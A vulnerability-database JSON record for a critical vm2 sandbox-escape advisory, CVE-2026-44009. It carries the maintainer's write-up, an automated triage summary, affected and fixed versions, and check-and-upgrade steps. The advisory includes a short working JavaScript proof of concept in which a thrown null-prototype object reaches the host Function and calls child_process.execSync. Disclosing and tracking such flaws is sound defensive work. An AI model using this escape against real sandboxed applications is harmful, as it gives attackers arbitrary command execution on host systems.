{"id":"CVE-2026-44009","kind":"vulnerability","aliases":["CVE-2026-44009","GHSA-9vg3-4rfj-wgcm"],"related":[],"title":"vm2 has Sandbox Breakout Through Null Proto Exception","description":"### Summary\n\nVM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.\n\n### Details\n\nIn `handleException` due to ``// SECURITY (post-GHSA-mpf8 hardening): use `from` (not `ensureThis`)`` exceptions with a null proto will be assumed to come from the other side and being proxied. Therefore, it is possible to get the proxied and unproxied object of a sandbox object with a null proto when thrown and then catched which allows to get the host `Function` object.\n\n### PoC\n\n```js\nconst {VM} = require(\"vm2\");\nconst vm = new VM();\nconsole.log(vm.run(`\nconst o = {__proto__: null};\ntry {\n\tthrow o;\n} catch (e) {\n\te.f = Buffer.prototype.inspect\n\to.f.constructor(\"return process\")().mainModule.require('child_process').execSync('touch pwned');\n}\n`));\n```\n\n### Impact\n\nAttackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.","summary":"vm2 is a Node.js sandbox for running untrusted code. A null-prototype object thrown and caught inside the sandbox lets attacker code reach the host Function object and run arbitrary commands on the host.","severity":"critical","cvss":9.8,"epss":0.00812,"exploited":false,"exploited_at":null,"products":[{"name":"vm2","fixed":["3.11.2"],"affected":"< 3.11.2","ecosystem":"npm"},{"name":"vm2 project vm2","fixed":["3.11.2"],"affected":"< 3.11.2","ecosystem":"vendor"}],"ecosystems":["npm","vendor"],"tags":["cwe-653","cwe-668","node.js","npm","package","sandboxing","vm2"],"not_affected_if":["fixed-version","no-untrusted-code","vm2-not-installed"],"how_to_check":"- Check the installed version with `npm ls vm2` in each project.\n- Search lockfiles for `vm2` to find transitive copies.\n- Look for code that runs untrusted input through `new VM()` or `NodeVM` from vm2.","fix":"- Upgrade `vm2` to `3.11.2` or later.","status":"open","published_at":"2026-05-08T16:20:58+00:00","first_seen_at":"2026-11-04T03:36:21+00:00","triaged_at":"2026-11-04T03:36:52+00:00","updated_at":"2026-11-04T03:46:40+00:00","category":"package","confidence":0.85,"triage":{"at":"2026-11-04T03:36:52Z","model":"claude-haiku-5-5","output":{"fix":"- Upgrade `vm2` to `3.11.2` or later.","reach":"internet","title":"vm2: sandbox escape via null-prototype exception gives host code execution","impact":"high","summary":"vm2 is a Node.js sandbox for running untrusted code. A null-prototype object thrown and caught inside the sandbox lets attacker code reach the host Function object and run arbitrary commands on the host.","audience":"developers","category":"package","nicknames":[],"who_cares":["npm","node.js","vm2","sandboxing"],"confidence":0.85,"fix_status":"available","needs_auth":"no","worst_case":"attacker code runs commands on the host system","analyst_note":"","how_to_check":"- Check the installed version with `npm ls vm2` in each project.\n- Search lockfiles for `vm2` to find transitive copies.\n- Look for code that runs untrusted input through `new VM()` or `NodeVM` from vm2.","plain_action":"","needs_analyst":false,"not_affected_if":["no-untrusted-code","vm2-not-installed","fixed-version"],"who_is_affected":"Any application that runs untrusted or user-supplied JavaScript inside vm2 is exposed, because the escape only needs attacker code inside the sandbox. Projects that use vm2 only for trusted internal code, or that do not use vm2 at all, can skip it.","user_interaction":"no","needs_special_setup":"no","severity_if_unknown":"critical"},"cost_usd":0.000707,"input_tokens":4522,"output_tokens":510,"severity_before":"critical"},"analyst_status":null,"analyst_note":null,"search":"'-2026':10A,18A '-44009':11A,19A '-653':25B '-668':27B '4rfj':15A '9vg3':14A 'allow':77C,154C 'arbitrari':63B,91C,204C 'assum':119C 'assumpt':202C 'attack':54B,78C,194C 'breakout':4A,74C 'buffer.prototype.inspect':183C 'catch':152C,180C 'caught':49B 'child':188C 'code':41B,55B,81C,198C,205C 'come':121C 'command':64B,92C 'console.log':171C 'const':163C,167C,173C 'context':211C 'cve':9A,17A 'cwe':24B,26B 'detail':97C 'due':100C 'e':181C 'e.f':182C 'ensurethi':111C 'escap':84C 'except':8A,112C 'execsync':190C 'execut':90C,199C,208C 'function':59B,159C 'get':134C,156C 'ghsa':13A,105C 'ghsa-9vg3-4rfj-wgcm':12A 'handleexcept':99C 'harden':107C 'host':58B,67B,95C,158C 'impact':193C 'insid':50B,209C 'js':162C 'let':53B 'mainmodule.require':187C 'mpf8':106C 'new':169C 'node.js':28B,36B 'npm':29B 'null':6A,44B,115C,146C,176C 'null-prototyp':43B 'o':174C,179C 'o.f.constructor':184C 'object':46B,60B,139C,143C,160C 'packag':30B 'perform':196C 'poc':161C 'possibl':132C 'post':104C 'post-ghsa-mpf8':103C 'process':186C,189C 'project':22A 'proto':7A,116C,147C,175C 'prototyp':45B 'proxi':128C,136C 'pwned':192C 'reach':56B 'remot':197C 'requir':165C 'return':185C 'run':39B,62B 'sandbox':3A,31B,37B,52B,73C,88C,142C,215C 'secur':102C 'side':125C 'suffer':70C 'summari':68C 'system':96C 'therefor':129C 'throw':178C 'thrown':47B,149C 'touch':191C 'tri':177C 'unproxi':138C 'untrust':40B 'use':108C 'vm':164C,168C,170C 'vm.run':172C 'vm2':1A,20A,21A,23A,32B,33B,69C,87C,166C,214C 'vulner':75C 'wgcm':16A 'write':80C","nicknames":[],"mitigations":[],"who_affected":"Any application that runs untrusted or user-supplied JavaScript inside vm2 is exposed, because the escape only needs attacker code inside the sandbox. Projects that use vm2 only for trusted internal code, or that do not use vm2 at all, can skip it.","tier":"B","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":"developers","plain_action":null,"pkeys":["projectvm2","vm2","vm2projectvm2"],"ptokens":["project","vm2"],"labels":["critical","cwe653","cwe668","nodejs","npm","package","sandboxing","vendor","vm2"],"campaign_type":null,"first_public_at":"2026-05-03T21:34:48+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-9vg3-4rfj-wgcm","url":"https://github.com/advisories/GHSA-9vg3-4rfj-wgcm","severity":"critical","published_at":"2026-05-08T16:20:58+00:00","modified_at":"2026-11-04T03:35:01+00:00","first_seen_at":"2026-11-04T03:36:21+00:00","fetched_at":"2026-11-04T03:41:23+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-44009","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44009","severity":null,"published_at":"2026-05-13T18:16:17+00:00","modified_at":"2026-10-26T14:10:00+00:00","first_seen_at":"2026-11-04T03:46:40+00:00","fetched_at":"2026-11-04T03:46:40+00:00","note":null}],"documents":[{"id":63612,"url":"https://api.github.com/repos/patriksimek/vm2/security-advisories/GHSA-9vg3-4rfj-wgcm","title":"Maintainer's advisory: api.github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: api.github.com"},{"id":63613,"url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-9vg3-4rfj-wgcm","title":"Maintainer's advisory: github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":"2026-05-03T21:34:48+00:00","relation":"advisory","confidence":null,"note":"Maintainer's advisory: github.com"},{"id":63614,"url":"https://github.com/patriksimek/vm2/releases/tag/v3.11.2","title":"Release: github.com","kind":"release","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Release: github.com"},{"id":63615,"url":"https://github.com/patriksimek/vm2/commit/c33c2bb19a822847f4e01d8d87b28dd5b2c86b3e","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"}],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}